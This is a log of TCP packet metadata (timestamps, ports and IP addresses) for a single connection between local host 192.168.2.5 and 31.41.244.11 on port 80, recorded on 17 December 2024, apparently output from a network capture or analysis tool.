Dec 17, 2024 08:03:11.199780941 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.199827909 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.199902058 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.200746059 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.200803041 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.200845003 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.200895071 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.201767921 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.201822042 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.201864958 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.201915979 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.202805996 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.202862978 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.202910900 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.202960968 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.203820944 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.203876019 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.203957081 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.204030037 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.204829931 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.204885006 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.204926968 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.204989910 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.205856085 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.205908060 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.205954075 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.206002951 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.206916094 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.206968069 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.207016945 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.207066059 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.207917929 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.207967043 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.207981110 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.208024025 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.208933115 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.208983898 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.209007025 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.209053993 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.209950924 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.210002899 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.210047960 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.210094929 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.210997105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.211052895 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.211059093 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.211107016 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.212002039 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.212054968 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.350337029 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.350416899 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.350445986 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.350486994 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.350775957 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.350831985 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.350977898 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.351032972 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.351033926 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.351085901 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.351979017 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.352036953 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.352037907 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.352088928 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.353037119 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.353105068 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.353177071 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.353231907 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.354057074 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.354115009 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.354182005 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.354274988 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.355098009 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.355185986 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.355221987 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.355278969 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.356133938 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.356184006 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.356211901 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.356288910 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.357120037 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.357175112 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.357249975 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.357300043 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.358151913 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.358205080 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.358314991 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.358362913 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.359186888 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.359251022 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.359282970 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.359333992 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.360209942 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.360265017 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.360327005 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.360378027 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.361181974 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.361247063 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.361311913 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.361361027 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.362575054 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.362612009 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.362629890 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.362659931 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.363250971 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.363305092 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.363375902 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.363425970 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.364270926 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.364322901 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.364381075 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.364429951 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.365312099 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.365365982 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.365426064 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.365472078 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.366328955 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.366380930 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.366380930 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.366429090 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.367347002 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.367402077 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.367464066 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.367513895 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.368360043 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.368412018 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.368474007 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.368522882 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.369410038 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.369462013 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.369524002 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.369571924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.370418072 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.370470047 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.370532036 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.370579958 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.371422052 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.371478081 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.371541977 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.371594906 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.372432947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.372484922 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.372548103 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.372596025 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.373480082 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.373532057 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.373594999 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.373641968 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.374505043 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.374556065 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.374618053 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.374666929 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.375572920 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.375674963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.375678062 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.375725985 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.376548052 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.376594067 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.376658916 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.376705885 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.377563000 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.377614021 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.377676964 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.377726078 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.378580093 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.378633022 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.378706932 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.378755093 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.379601955 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.379653931 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.379734993 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.379785061 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.380630016 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.380681992 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.380803108 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.380851984 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.381643057 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.381707907 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.381768942 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.381823063 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.382668018 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.382724047 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.382786989 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.382836103 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.383696079 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.383749962 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.383814096 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.383868933 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.384716034 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.384793043 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.384840965 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.384890079 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.385720015 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.385829926 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.385844946 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.385899067 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.386766911 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.386831045 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.386857986 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.386912107 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.387783051 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.387841940 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.387913942 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.387974024 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.388801098 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.388853073 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.388869047 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.388899088 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.389847994 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.389918089 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.389961004 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.390019894 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.390842915 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.390907049 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.390974998 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.391030073 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.391884089 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.391943932 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.392004013 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.392059088 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.392898083 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.392961025 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.393013000 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.393068075 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.393964052 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.394021988 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.394124031 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.394179106 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.394975901 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.395035028 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.395117044 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.395170927 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.395973921 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.396032095 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.396100044 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.396156073 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.397003889 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.397079945 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.397123098 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.397187948 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.397994995 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.398071051 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.398139000 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.398197889 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.399034977 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.399107933 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.399168968 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.399226904 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.400088072 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.400151014 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.400212049 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.400264025 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.401129961 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.401196957 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.401246071 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.401303053 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.402091980 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.402153015 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.402211905 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.402276039 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.403177023 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.403230906 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.403237104 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.403287888 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.542622089 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.542691946 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.542840958 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.543042898 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.543102980 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.543150902 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.543203115 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.544239044 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.544298887 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.544320107 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.544369936 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.545105934 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.545166969 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.545265913 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.545319080 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.546205044 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.546231985 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.546261072 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.546293974 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.547163963 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.547218084 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.547225952 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.547280073 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.548167944 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.548223019 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.548268080 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.548316956 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.549170017 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.549225092 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.549273014 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.549323082 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.550209045 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.550266027 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.550316095 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.550365925 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.551254034 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.551327944 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.551350117 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.551400900 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.552222967 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.552278042 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.552359104 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.552409887 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.553268909 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.553322077 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.553399086 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.553458929 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.554311037 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.554366112 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.554409981 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.554460049 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.555305958 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.555371046 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.555429935 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.555478096 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.556344032 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.556391954 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.556471109 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.556523085 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.557362080 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.557415009 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.557497025 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.557554007 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.558367968 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.558420897 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.558501005 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.558619976 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.559493065 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.559591055 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.559603930 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.559664965 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.560537100 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.560590982 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.560626030 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.560677052 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:11.561583042 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:11.561599016 CET	80	49822	31.41.244.11	192.168.2.5
